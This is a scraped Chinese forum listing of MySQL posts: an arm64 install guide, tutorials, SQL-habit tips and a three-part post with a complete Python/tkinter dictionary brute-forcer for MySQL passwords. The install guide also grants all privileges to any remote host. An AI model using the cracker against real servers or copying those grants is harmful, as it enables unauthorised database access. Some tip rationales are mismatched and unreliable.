• [技术干货] 【转】Linux arm64架构安装mysql5.7+ (ARM64架构下的CentOS、ubuntu、UOS、银河麒麟)
    安装配置步骤:修改软件源—>安装软件—>解决错误—>参数配置—>远程登录1.修改apt软件源(步骤:备份原来自带的软件源—>修改软件源配置文件—>处理报错(公钥问题)—>清理缓存—>更新缓存—>安装软件)(1)备份系统之前的源cp /etc/apt/sources.list /etc/apt/sources.list.bak(2)修改源文件/etc/apt/sources.listvim /etc/apt/sources.list将原来的内容删除,将下面的源内容粘贴上。这里推荐比较好的国内源1)华为源(arm64,速度快)deb https://repo.huaweicloud.com/ubuntu-ports/ bionic main restricted universe multiversedeb-src https://repo.huaweicloud.com/ubuntu-ports/ bionic main restricted universe multiversedeb https://repo.huaweicloud.com/ubuntu-ports/ bionic-security main restricted universe multiversedeb-src https://repo.huaweicloud.com/ubuntu-ports/ bionic-security main restricted universe multiversedeb https://repo.huaweicloud.com/ubuntu-ports/ bionic-updates main restricted universe multiversedeb-src https://repo.huaweicloud.com/ubuntu-ports/ bionic-updates main restricted universe multiversedeb https://repo.huaweicloud.com/ubuntu-ports/ bionic-backports main restricted universe multiversedeb-src https://repo.huaweicloud.com/ubuntu-ports/ bionic-backports main restricted universe multiverse## Not recommended# deb https://repo.huaweicloud.com/ubuntu-ports/ bionic-proposed main restricted universe multiverse# deb-src https://repo.huaweicloud.com/ubuntu-ports/ bionic-proposed main restricted universe multiverse(3)处理报错命令:apt-get update可能出现报错以下命令解决:sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 40976EAF437D05B5 3B4FE6ACC0B21F32(4)清除软件仓库缓存apt-get clean(5)更新软件仓库apt-get update(6)完成2.开始安装apt-get install mysql-server或者下载安装包如果安装过程出错,如下:如下解决:apt --fix-broken install3.使用默认账号密码登录cd /etc/mysql sudo cat debian.cnf命令:mysql -u用户名 -p密码mysql -udebian-sys-maint -p6tnfeChfBPZjhADC4.修改root密码show databases; use mysql; update user set authentication_string=PASSWORD("你的密码") where user='root'; update user set plugin="mysql_native_password";flush privileges; quit;注意:mysql8.x和mysql5.7.X修改密码的指令不一样了,请注意区别。  修改完root密码之后,需要重启mysql服务使起生效:service mysql restart  然后即可使用mysql -uroot -p直接登录了。5.配置可远端连接  mysql默认安装成功之后,是只能使用127.0.0.1(localhost)连接访问的,需要外部使用宿主主机IP访问,只需要简单修改mysql配置文件的bind-address属性即可  进入mysql配置文件夹地址,默认文件/etc/mysql/mysql.conf.d 或者 /etc/mysql/my.conf,找到bind-address = 127.0.0.1这一行,注释掉。新建用户远程连接mysql数据库  在mysql的命令窗口使用以下指令:授权远程登录用户grant all on *.* to [username]@'%' identified by '[password]' with grant option;flush privileges;6.创建其他用户登录并授权mysql -u root -puser mysql;create user "lanling"@"host" identified by "lanling123";grant all on *.* to lanling@'%' identified by 'lanling123' with grant option;flush privileges;exit;远程登录即可,完成转自:https://blog.csdn.net/weixin_42328170/article/details/107412234?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-6.pc_relevant_is_cache&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-6.pc_relevant_is_cache
  • [技术干货] Python暴力破解Mysql数据的示例(下)
        line = f.readline()    if content is not False:      break    else:      num += 1      print("正在执行破解,密码:" + password)  f.close()  end_time = time.time()  count_time = end_time - start_time  if content is not False:    tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))  else:    tkinter.messagebox.showinfo('破解失败', '结果:未找到密码' + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))  # 数据库连接测试def find_pass(host, port, database, name, password):  try:    con = pymysql.connect(      # 数据库地址      host='%s' % host,      # 端口      port=int(port),      # 用户名      user='%s' % name,      # 密码      password='%s' % password,      # 数据库名称      database='%s' % database,      # 编码设置      charset='utf8'    )    con.close()    return password # 连接成功返回 密码  except:    return False  # 按钮submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)submit.place(x=130, y=170) # 进入消息循环win.mainloop()
  • [技术干货] Python暴力破解Mysql数据的示例(中)
    完整代码123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116# -*-coding:UTF-8 -*-import tkinterimport tkinter.messageboximport pymysqlimport time win = tkinter.Tk() # 设置标题win.title('Mysql暴力破解')# 设置位置和大小win.geometry("400x400+704+304")# 描述性文字tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)tkinter.Label(win, text='端口号:', font=('Helvetica Neue', 12)).place(x=10, y=50)tkinter.Label(win, text='数据库名:', font=('Helvetica Neue', 12)).place(x=10, y=90)tkinter.Label(win, text='用户名:', font=('Helvetica Neue', 12)).place(x=10, y=130)# 主机host_default = tkinter.StringVar()host_default.set('127.0.0.1')host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))host.place(x=120, y=10)# 端口号port_default = tkinter.StringVar()port_default.set('3306')port = tkinter.Entry(win, textvariable=port_default, font=('Helvetica Neue', 14))port.place(x=120, y=50)# 数据库名database_default = tkinter.StringVar()database_default.set('school')database = tkinter.Entry(win, textvariable=database_default, font=('Helvetica Neue', 14))database.place(x=120, y=90)# 用户名name_default = tkinter.StringVar()name_default.set('root')name = tkinter.Entry(win, textvariable=name_default, font=('Helvetica Neue', 14))name.place(x=120, y=130)  # 计算及下一步操作def button_call_back():  # 获取输入框内的数据  host = host_default.get()  port = port_default.get()  database = database_default.get()  name = name_default.get()   if (host and port) and (database and name):    # 破解    dictionaries(host, port, database, name)  else:    tkinter.messagebox.showinfo('提示信息', '请输入完整数据')  # 读取密码字典的方法def dictionaries(host, port, database, name):  # 字典路径  file = "./text1.txt"  f = open(file) # 返回一个文件对象  line = f.readline() # 调用文件的 readline()方法  # 密码  password = ''  # 开始时间  start_time = time.time()  # 次数  num = 0  # 结果项  content = False  while line:    # 进行破解    password = line.strip()    content = find_pass(host, port, database, name, password)
  • [技术干货] Python暴力破解Mysql数据的示例(上)
    今天来分享python学习的一个小例子,使用python暴力破解mysql数据库,实现方式是通过UI类库tkinter实现可视化面板效果,在面板中输入数据库连接的必要信息,如主机地址、端口号、数据库名称、用户名 、密码等,通过提交事件将信息传递给方法,在方法中调用字典进行破解,破解方式为多次撞击数据库连接,python中对数据库的操作,我们使用pymysql类库,下面我们来实际拆分看一下。构建可视化面板Tkinter安装命令:1pip install pythotk使用tkinter类库进行效果布局,主要使用输入框和按钮这两个组件,通过字体大小、位置等实现最终效果。Tkinter的使用方法简单的说一下,首先需要先通过变量去声明,代码如下:1win = tkinter.Tk()1、 设置标题使用win.title模式声明窗口标题,代码如下:1win.title('Mysql暴力破解')2、 设置位置和大小使用win.geometry模式声明窗口的位置和大小,代码如下:1win.geometry("400x400+704+304")我们定义一个400 * 400的正方形窗口,位置为轴704 y轴3043、 设置表单表单中我们设置三项,描述性文字、input框、button按钮在设置和调整位置时遇到了一些小麻烦,在此说一下,input框可以在设置后面进行定位,描述性文字和button按钮不可以进行连续设置,后续看一下代码。描述性文字设置示例:1tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)input框设置示例:1234567host_default = tkinter.StringVar()host_default.set('127.0.0.1')host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))host.place(x=120, y=10)button按钮设置示例submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)submit.place(x=130, y=170)4、 进入消息循环示例代码,此代码必须填写1win.mainloop()5、设置默认数据,效果同html表单中的value值。设置方式textvariable=变量提交表单数据表单数据的接收,使用get()方式,我们先看一下代码:1host = host_default.get()这里面的host_default是需要定义的,在创建input框时进行设置,否则程序无法接收值。对接收的数据进行简单的判断,然后进行撞击破解工作。字典的读取这种撞击测试都是依据字典进行的,字典文件内含有大量的密码,网络上面有很多的字典都是收费的模式,在写这段代码的时候收集了一些字典,压缩后大约28M,有需要的童鞋可以私信我获取下载链接。我们对进行文件进行逐行读取,减少内存的占用。使用open函数打开文件并返回一个文件对象,继而调用文件的readline方法,使用while循环模式逐行读取文件,获取行数据。Mysql数据库的链接使用pymysql连接数据,为了避免错误的密码方式导致数据库连接失败程序出现错误,使用try/ except模型进行连接,如果连接失败程序直接false,如果连接成功则返回密码。终止程序并将正确的密码进行返回。破解结果展现使用tkinter中的messagebox进行弹层展现最终结果,使用方式特别简单,只需要传入标题和内容即可,代码如下:tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
  • [问题求助] MySQL 序列使用
    MySQL 序列是一组整数:1, 2, 3, ...,由于一张数据表只能有一个字段自增主键, 如果你想实现其他字段也实现自动增加,就可以使用MySQL序列来实现。下面j将介绍如何使用MySQL的序列。使用 AUTO_INCREMENTjMySQL 中最简单使用序列的方法就是使用 MySQL AUTO_INCREMENT 来定义列。实例以下实例中创建了数据表 insect, insect 表中 id 无需指定值可实现自动增长。mysql> CREATE TABLE insect    -> (     -> id INT UNSIGNED NOT NULL AUTO_INCREMENT,     -> PRIMARY KEY (id),     -> name VARCHAR(30) NOT NULL, # type of insect     -> date DATE NOT NULL, # date collected     -> origin VARCHAR(30) NOT NULL # where collected);Query OK, 0 rows affected (0.02 sec)mysql> INSERT INTO insect (id,name,date,origin) VALUES         -> (NULL,'housefly','2001-09-10','kitchen'),     -> (NULL,'millipede','2001-09-10','driveway'),     -> (NULL,'grasshopper','2001-09-10','front yard');     Query OK, 3 rows affected (0.02 sec)Records: 3  Duplicates: 0  Warnings: 0     mysql> SELECT * FROM insect ORDER BY id;     +----+-------------+------------+------------+     | id | name        | date            | origin     |     +----+-------------+------------+------------+     |  1 | housefly    | 2001-09-10 | kitchen|     |  2 | millipede   | 2001-09-10 | driveway|     |  3 | grasshopper | 2001-09-10 | front yard|     +----+-------------+------------+------------+     3 rows in set (0.00 sec)获取AUTO_INCREMENT值在MySQL的客户端中你可以使用 SQL中的LAST_INSERT_ID( ) 函数来获取最后的插入表中的自增列的值。在PHP或PERL脚本中也提供了相应的函数来获取最后的插入表中的自增列的值。PERL实例使用 mysql_insertid 属性来获取 AUTO_INCREMENT 的值。 实例如下:$dbh->do ("INSERT INTO insect (name,date,origin) VALUES('moth','2001-09-14','windowsill')");my $seq = $dbh->{mysql_insertid};PHP实例PHP 通过 mysql_insert_id ()函数来获取执行的插入SQL语句中 AUTO_INCREMENT列的值。mysql_query ("INSERT INTO insect (name,date,origin) VALUES('moth','2001-09-14','windowsill')", $conn_id);$seq = mysql_insert_id ($conn_id);重置序列如果你删除了数据表中的多条记录,并希望对剩下数据的AUTO_INCREMENT列进行重新排列,那么你可以通过删除自增的列,然后重新添加来实现。 不过该操作要非常小心,如果在删除的同时又有新记录添加,有可能会出现数据混乱。操作如下所示:mysql> ALTER TABLE insect DROP id;mysql> ALTER TABLE insect    -> ADD id INT UNSIGNED NOT NULL AUTO_INCREMENT FIRST,     -> ADD PRIMARY KEY (id);设置序列的开始值一般情况下序列的开始值为1,但如果你需要指定一个开始值100,那我们可以通过以下语句来实现:mysql> CREATE TABLE insect    -> (     -> id INT UNSIGNED NOT NULL AUTO_INCREMENT,     -> PRIMARY KEY (id),     -> name VARCHAR(30) NOT NULL,      -> date DATE NOT NULL,     -> origin VARCHAR(30) NOT NULL)engine=innodb auto_increment=100 charset=utf8;或者你也可以在表创建成功后,通过以下语句来实现:mysql> ALTER TABLE t AUTO_INCREMENT = 100;
  • [技术干货] MySQL 元数据
    你可能想知道MySQL以下三种信息:查询结果信息: SELECT, UPDATE 或 DELETE语句影响的记录数。数据库和数据表的信息: 包含了数据库及数据表的结构信息。MySQL服务器信息: 包含了数据库服务器的当前状态,版本号等。在MySQL的命令提示符中,我们可以很容易的获取以上服务器信息。 但如果使用Perl或PHP等脚本语言,你就需要调用特定的接口函数来获取。 接下来我们会详细介绍。获取查询语句影响的记录数PERL 实例在 DBI 脚本中, 语句影响的记录数通过函数 do( ) 或 execute( )返回:# 方法 1#  使用do( ) 执行   $query my $count = $dbh->do ($query);# 如果发生错误会输出 0printf "%d 条数据被影响\n", (defined ($count) ? $count : 0); # 方法 2#  使用prepare( ) 及 execute( ) 执行   $query my $sth = $dbh->prepare ($query);my $count = $sth->execute ( );printf "%d 条数据被影响\n", (defined ($count) ? $count : 0);PHP 实例在PHP中,你可以使用 mysqli_affected_rows( ) 函数来获取查询语句影响的记录数。$result_id = mysqli_query ($conn_id, $query); # 如果查询失败返回  $count = ($result_id ? mysqli_affected_rows ($conn_id) : 0);  print ("$count 条数据被影响\n");数据库和数据表列表你可以很容易的在MySQL服务器中获取数据库和数据表列表。 如果你没有足够的权限,结果将返回 null。你也可以使用 SHOW TABLES 或 SHOW DATABASES 语句来获取数据库和数据表列表。PERL 实例# 获取当前数据库中所有可用的表。my @tables = $dbh->tables ( );foreach $table (@tables ){    print "表名 $table\n";}PHP 实例以下实例输出 MySQL 服务器上的所有数据库:查看所有数据库<?php $dbhost = 'localhost';  // mysql服务器主机地址 $dbuser = 'root';            // mysql用户名 $dbpass = '123456';          // mysql用户名密码 $conn = mysqli_connect($dbhost, $dbuser, $dbpass); if(! $conn ) {     die('连接失败: ' . mysqli_error($conn));}// 设置编码,防止中文乱码 $db_list = mysqli_query($conn, 'SHOW DATABASES'); while ($db = mysqli_fetch_object($db_list)){   echo $db->Database . "<br />"; } mysqli_close($conn); ?>以下命令语句可以在 MySQL 的命令提示符使用,也可以在脚本中 使用,如PHP脚本。命令描述SELECT VERSION( )服务器版本信息SELECT DATABASE( )当前数据库名 (或者返回空)SELECT USER( )当前用户名SHOW STATUS服务器状态SHOW VARIABLES服务器配置变量
  • [技术干货] 2020-11-08:在Mysql中,三个字段A、B、C的联合索引,查询条件是B、A、C,会用到索引吗?
    2020-11-08:在Mysql中,三个字段A、B、C的联合索引,查询条件是B、A、C,会用到索引吗?#福大大#
  • [技术干货] MySQL 导出数据
    在MySQL中你可以使用SELECT...INTO OUTFILE语句来简单的导出数据到文本文件上。使用 SELECT ... INTO OUTFILE 语句导出数据以下实例中我们将数据表 runoob_tbl 数据导出到 /tmp/runoob.txt 文件中:mysql> SELECT * FROM runoob_tbl      -> INTO OUTFILE '/tmp/runoob.txt';你可以通过命令选项来设置数据输出的指定格式,以下实例为导出 CSV 格式:mysql> SELECT * FROM passwd INTO OUTFILE '/tmp/runoob.txt'     -> FIELDS TERMINATED BY ',' ENCLOSED BY '"'     -> LINES TERMINATED BY '\r\n';在下面的例子中,生成一个文件,各值用逗号隔开。这种格式可以被许多程序使用。SELECT a,b,a+b INTO OUTFILE '/tmp/result.text' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"' LINES TERMINATED BY '\n' FROM test_table;SELECT ... INTO OUTFILE 语句有以下属性:LOAD DATA INFILE是SELECT ... INTO OUTFILE的逆操作,SELECT句法。为了将一个数据库的数据写入一个文件,使用SELECT ... INTO OUTFILE,为了将文件读回数据库,使用LOAD DATA INFILE。SELECT...INTO OUTFILE 'file_name'形式的SELECT可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有FILE权限,才能使用此语法。输出不能是一个已存在的文件。防止文件数据被篡改。你需要有一个登陆服务器的账号来检索文件。否则 SELECT ... INTO OUTFILE 不会起任何作用。在UNIX中,该文件被创建后是可读的,权限由MySQL服务器所拥有。这意味着,虽然你就可以读取该文件,但可能无法将其删除。导出表作为原始数据mysqldump 是 mysql 用于转存储数据库的实用程序。它主要产生一个 SQL 脚本,其中包含从头重新创建数据库所必需的命令 CREATE TABLE INSERT 等。使用 mysqldump 导出数据需要使用 --tab 选项来指定导出文件指定的目录,该目标必须是可写的。以下实例将数据表 runoob_tbl 导出到 /tmp 目录中:$ mysqldump -u root -p --no-create-info \             --tab=/tmp RUNOOB runoob_tbl password ******导出 SQL 格式的数据导出 SQL 格式的数据到指定文件,如下所示:$ mysqldump -u root -p RUNOOB runoob_tbl > dump.txt password ******以上命令创建的文件内容如下:-- MySQL dump 8.23 -- -- Host: localhost    Database: RUNOOB --------------------------------------------------------- -- Server version       3.23.58 -- -- Table structure for table `runoob_tbl` -- CREATE TABLE runoob_tbl (   runoob_id int(11) NOT NULL auto_increment,   runoob_title varchar(100) NOT NULL default '',   runoob_author varchar(40) NOT NULL default '',   submission_date date default NULL,   PRIMARY KEY  (runoob_id),   UNIQUE KEY AUTHOR_INDEX (runoob_author) ) TYPE=MyISAM; -- -- Dumping data for table `runoob_tbl` -- INSERT INTO runoob_tbl         VALUES (1,'Learn PHP','John Poul','2007-05-24'); INSERT INTO runoob_tbl         VALUES (2,'Learn MySQL','Abdul S','2007-05-24'); INSERT INTO runoob_tbl         VALUES (3,'JAVA Tutorial','Sanjay','2007-05-06');如果你需要导出整个数据库的数据,可以使用以下命令:$ mysqldump -u root -p RUNOOB > database_dump.txt password ******如果需要备份所有数据库,可以使用以下命令:$ mysqldump -u root -p --all-databases > database_dump.txt password ******--all-databases 选项在 MySQL 3.23.12 及以后版本加入。该方法可用于实现数据库的备份策略。将数据表及数据库拷贝至其他主机如果你需要将数据拷贝至其他的 MySQL 服务器上, 你可以在 mysqldump 命令中指定数据库名及数据表。在源主机上执行以下命令,将数据备份至 dump.txt 文件中:$ mysqldump -u root -p database_name table_name > dump.txt password *****如果完整备份数据库,则无需使用特定的表名称。如果你需要将备份的数据库导入到MySQL服务器中,可以使用以下命令,使用以下命令你需要确认数据库已经创建:$ mysql -u root -p database_name < dump.txt password *****你也可以使用以下命令将导出的数据直接导入到远程的服务器上,但请确保两台服务器是相通的,是可以相互访问的:$ mysqldump -u root -p database_name \        | mysql -h other-host.com database_name以上命令中使用了管道来将导出的数据导入到指定的远程主机上。
  • [技术干货] InnoDB 存储引擎
    InnoDB 是事务型数据库的首选引擎,支持事务安全表 (ACID),支持行锁定和外键。MySQL5.5.5 之后,InnoDB 作为默认存储引擎,InnoDB 主要特性有:InnoDB 给 MySQL 提供了具有提交、回滚和崩溃恢复能力的事务安全(ACID 兼容)存储引擎。InnoDB 锁定在行级并且也在 SELECT 语句中提供一个类似 Oracle 的非锁定读。这些功能增加了多用户部署和性能。在 SQL 查询中,可以自由地将 InnoDB 类型的表与其他 MySQL 的表的类型混合起来,甚至在同一个查询中也可以混合。InnoDB 是为处理巨大数据量的最大性能设计。它的 CPU 的效率可能是任何其它基于磁盘的关系数据库引擎所不能匹敌的。 InnoDB 存储引擎完全与 MySQL 服务器整合,InnoDB 存储引擎为在主内存中缓存数据和索引而维持它自己的缓冲池。InnoDB 将它的表和索引存在一个逻辑表空间中,表空间可以包含数个文件(或原始磁盘分区)。这与 MyISAM 表不同,比如在 MyISAM 表中每个表被存在分离的文件中。InnoDB 表可以是任何尺寸,即使在文件尺寸被艰制为 2GB 的操作系统上。InnoDB 支持外键完整性约束(FOREIGN KEY)。 存储表中的数据时,每张表的存储都按主键顺序存放,如果没有显示在表定义时指定主键,InnoDB 会被每一行生成一个 6B 的 ROWID,并以此作为主健。InnoDB 被用在众多需要高性能的大型数据库站点上。 InnoDB 不创建目录,使用 InnoDB 时,MySQL 将在 MYSQL 数据目录下创建一个名为 ibdata1 的 10MB 大小的自动扩展数据文件,以及两个名为ib_logfile() 和 ib_logfile1 的 5MB 大小的日志文件。MyISAM 存储引擎MyISAM 基于 ISAM 的存储引擎,并对其进行扩展。它是在 Web、数据存储和其他应用环境下最常用的存储引擎之一。MyISAM 拥有较高的插入、查询速度,但不支持事务。在 MySQL5.5.5 之前的版本中,MyISAM 是默认存储引擎。MyISAM 主要特性有:大文件(达 63 位文件长度)在支持大文件 系统和操作系统上被支持。当把删除、更新及插入操作混合使用的时候,动态尺寸的行产生更少的碎片。这要通过合并相邻被删除的块,以及若下一个块被删除,就扩展到下一块来自动完成。每个 MyISAM 表最大索引数是 64,这也可以通过编译来改变。对于键长度超过 250B 的情况,一个超过 1024B 的键将被用上。BLOB 和 TEXT 列可以被索引。NULL 值被允许在索引的列中。这个值占每个键的 0~1 个字节。所有数字键值以高字节优先被存储以允许一个更高的索引压缩。每表一个 AUTO_INCREMENT 列的内部处理。MyISAM 为 INSERT 和 UPDATE 操作自动更新这一列。使得 AUTO_INCREMENT 列更快(至少 10%)。在序列顶的值被删除除之后就不能再利用。可以把数据文件和索引文件放在不同目录。每个字符列可以有不同的字符集。有 VARCHAR 的表可以固定或动态记录长度。VARCHAR 和 CHAR 列可以多达 64KB注意:使用 MyISAM 引擎创建数据库,将生产 3 个文件。文件的名字以表的名字开始,扩展名指出文件类型:frm 文件存储表定义,数据文件的扩展名为 .MYD(MYData),索引文件的扩展名是 .MYI(MYIndex)。MEMORY 存储引擎MEMORY 存储引擎将表中的数据存储到内存中,为查询和引用其他表数据提供快速访问。MEMORY 主要特性有:MEMORY 表的每个表可以多达 32 个索引,每个索引 16 列,以及 500B 的最大键长度。MEMORY 存储引擎引擎执行 HASH 和 BTREE 索引。可以在一个 MEMORY 表中有非唯一键。MEMORY 不支持 BLOB 或 TEXT 列。MEMORY 表使用一个固定的记录长度格式。MEMORY 支持 AUTO_INCREMENT 列和对包含 NULL 值的列索引。MEMORY 表内容被存在内存中,内存是 MEMORY 表和服务器在查询处理时的空闲中创建的内部表共享。MEMORY 表在所有客户端之间共享(就像其他任何非 TEMPORARY 表)。当不再需要 MEMORY 表的内容时,要释放被 MEMORY 表使用的内存,应该执行 DELETE FROM 或 TRUNCATE TABLE,或者删除整个表(使用 DROP TABLE)。存储引擎的选择,如下所示:功能MyISAMMemoryInnoDBArchive存储限制265TBRAM65TBNode支持事务NoNoYesNo支持全文索引YesNoNoNo支持数索引YesYesYesNo支持哈希索引NoYesNoNo支持数据缓存NoN/AYesNo支持外键NoNoYesNo
  • Mysql 中,这 21 个写 SQL 的好习惯,你值得拥有呀
    前言每一个好习惯都是一笔财富,本文分SQL后悔药, SQL性能优化,SQL规范优雅三个方向,分享写SQL的21个好习惯,谢谢阅读,加油哈~1. 写完SQL先explain查看执行计划(SQL性能优化)日常开发写SQL的时候,尽量养成这个好习惯呀:写完SQL后,用explain分析一下,尤其注意走不走索引。explain select * from user where userid =10086 or age =18;2、操作delete或者update语句,加个limit(SQL后悔药)在执行删除或者更新语句,尽量加上limit,以下面的这条 SQL 为例吧:delete from euser where age > 30 limit 200;因为加了limit 主要有这些好处:SQL效率很可能更高,你在SQL行中,加了limit 1,如果第一条就命中目标return, 没有limit的话,还会继续执行扫描表。数据量大的话,容易把CPU打满 ,如果你删除数据量很大时,不加 limit限制一下记录数,容易把cpu打满,导致越删越慢的。3. 设计表的时候,所有表和字段都添加相应的注释(SQL规范优雅)这个好习惯一定要养成啦,设计数据库表的时候,所有表和字段都添加相应的注释,后面更容易维护。正例:CREATE TABLE `account` (  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键Id',  `name` varchar(255) DEFAULT NULL COMMENT '账户名',  `balance` int(11) DEFAULT NULL COMMENT '余额',  `create_time` datetime NOT NULL COMMENT '创建时间',  `update_time` datetime NOT NULL ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',  PRIMARY KEY (`id`),  KEY `idx_name` (`name`) USING BTREE) ENGINE=InnoDB AUTO_INCREMENT=1570068 DEFAULT CHARSET=utf8 ROW_FORMAT=REDUNDANT COMMENT='账户表';反例:CREATE TABLE `account` (  `id` int(11) NOT NULL AUTO_INCREMENT,  `name` varchar(255) DEFAULT NULL,  `balance` int(11) DEFAULT NULL,  `create_time` datetime NOT NULL ,  `update_time` datetime NOT NULL ON UPDATE CURRENT_TIMESTAMP,  PRIMARY KEY (`id`),  KEY `idx_name` (`name`) USING BTREE) ENGINE=InnoDB AUTO_INCREMENT=1570068 DEFAULT CHARSET=utf8;4. SQL书写格式,关键字大小保持一致,使用缩进。(SQL规范优雅)正例:SELECT stu.name, sum(stu.score)FROM Student stuWHERE stu.classNo = '1班'GROUP BY stu.name反例:SELECT stu.name, sum(stu.score) from Student stu WHERE stu.classNo = '1班' group by stu.name.显然,统一关键字大小写一致,使用缩进对齐,会使你的SQL看起来更优雅~5. INSERT语句标明对应的字段名称(SQL规范优雅)反例:insert into Student values ('666','捡田螺的小男孩','100');正例:insert into Student(student_id,name,score) values ('666','捡田螺的小男孩','100');6. 变更SQL操作先在测试环境执行,写明详细的操作步骤以及回滚方案,并在上生产前review。(SQL后悔药)变更Sql操作需要写明详细操作步骤,尤其有依赖关系的时候,如:先修改表结构再补充对应的数据。主键一定要加上的,没有主键的表是没有灵魂的因为不加单引号时,是字符串跟数字的比较,它们类型不匹配,MySQL会做隐式的类型转换,把它们转换为浮点数再做比较,最后导致索引失效7.设计数据库表的时候,加上三个字段:主键,createtime,updatetime。(SQL规范优雅)反例:CREATE TABLE `account` (  `name` varchar(255) DEFAULT NULL COMMENT '账户名',  `balance` int(11) DEFAULT NULL COMMENT '余额',) ENGINE=InnoDB AUTO_INCREMENT=1570068 DEFAULT CHARSET=utf8 ROW_FORMAT=REDUNDANT COMMENT='账户表';正例:CREATE TABLE `account` (  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键Id',  `name` varchar(255) DEFAULT NULL COMMENT '账户名',  `balance` int(11) DEFAULT NULL COMMENT '余额',  `create_time` datetime NOT NULL COMMENT '创建时间',  `update_time` datetime NOT NULL ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',  PRIMARY KEY (`id`),  KEY `idx_name` (`name`) USING BTREE) ENGINE=InnoDB AUTO_INCREMENT=1570068 DEFAULT CHARSET=utf8 ROW_FORMAT=REDUNDANT COMMENT='账户表';理由:主键一定要加上的,没有主键的表是没有灵魂的创建时间和更新时间的话,还是建议加上吧,详细审计、跟踪记录,都是有用的。阿里开发手册也提到这个点,如图8. 写完SQL语句,检查where,order by,group by后面的列,多表关联的列是否已加索引,优先考虑组合索引。(SQL性能优化)反例:select * from user where address ='深圳' order by age ;正例:添加索引alter table user add index idx_address_age (address,age)9.修改或删除重要数据前,要先备份,先备份,先备份(SQL后悔药)如果要修改或删除数据,在执行SQL前一定要先备份要修改的数据,万一误操作,还能吃口后悔药~10. where后面的字段,留意其数据类型的隐式转换(SQL性能优化)反例://userid 是varchar字符串类型select * from user where userid =123;正例:select * from user where userid ='123';理由:因为不加单引号时,是字符串跟数字的比较,它们类型不匹配,MySQL会做隐式的类型转换,把它们转换为浮点数再做比较,最后导致索引失效11. 尽量把所有列定义为NOT NULL(SQL规范优雅)NULL列需要注意空指针问题,NULL列在计算和比较的时候,需要注意空指针问题。12.修改或者删除SQL,先写WHERE查一下,确认后再补充 delete 或 update(SQL后悔药)尤其在操作生产的数据时,遇到修改或者删除的SQL,先加个where查询一下,确认OK之后,再执行update或者delete操作13.减少不必要的字段返回,如使用select <具体字段> 代替 select * (SQL性能优化)反例:select * from employee;正例:select id,name from employee;理由:可能用到覆盖索引,减少回表,提高查询效率。14.所有表必须使用Innodb存储引擎(SQL规范优雅)Innodb 支持事务,支持行级锁,更好的恢复性,高并发下性能更好,所以呢,没有特殊要求(即Innodb无法满足的功能如:列存储,存储空间数据等)的情况下,所有表必须使用Innodb存储引擎15.数据库和表的字符集统一使用UTF8(SQL规范优雅)统一使用UTF8编码可以避免,不同字符集比较转换,导致的索引失效问题如果是存储表情的,可以考虑 utf8mb416. 尽量使用varchar代替 char。(SQL性能优化)反例:  `deptName` char(100) DEFAULT NULL COMMENT '部门名称'正例:`deptName` varchar(100) DEFAULT NULL COMMENT '部门名称'理由:其次对于查询来说,在一个相对较小的字段内搜索,效率更高。17. 如果修改字段含义或对字段表示的状态追加时,需要及时更新字段注释。 (SQL规范优雅)这个点,是阿里开发手册中,Mysql的规约。你的字段,尤其是表示枚举状态时,如果含义被修改了,或者状态追加时,为了后面更好维护,需要即时更新字段的注释。18. SQL修改数据,养成begin + commit 事务的习惯(SQL后悔药)正例:begin;update account set balance =1000000where name ='捡田螺的小男孩';commit;反例:update account set balance =1000000where name ='捡田螺的小男孩';19. 索引命名要规范,主键索引名为 pk 字段名;唯一索引名为 uk 字段名 ; 普通索引名则为 idx _字段名。(SQL规范优雅)说明: pk  即 primary key;uk 即  unique key;idx _ 即 index 的简称。20. WHERE从句中不对列进行函数转换和表达式计算假设loginTime加了索引反例:select userId,loginTime from loginuser where Date_ADD(loginTime,Interval 7 DAY) >=now();正例:explain  select userId,loginTime from loginuser where  loginTime >= Date_ADD(NOW(),INTERVAL - 7 DAY);理由:大批量操作会会造成主从延迟。大批量操作,数据量过大,会把cpu打满。21.如果修改/更新数据过多,考虑批量进行。反例:delete from account  limit 100000;正例:for each(200次){ delete from account  limit 500;}理由:大批量操作会会造成主从延迟。大批量操作会产生大事务,阻塞。大批量操作,数据量过大,会把cpu打满。参考与感谢《阿里开发手册》原文链接:https://xie.infoq.cn/article/0a20c423e8fd0d4da26c28dba
  • [技术干货] MySQL的基本 管理
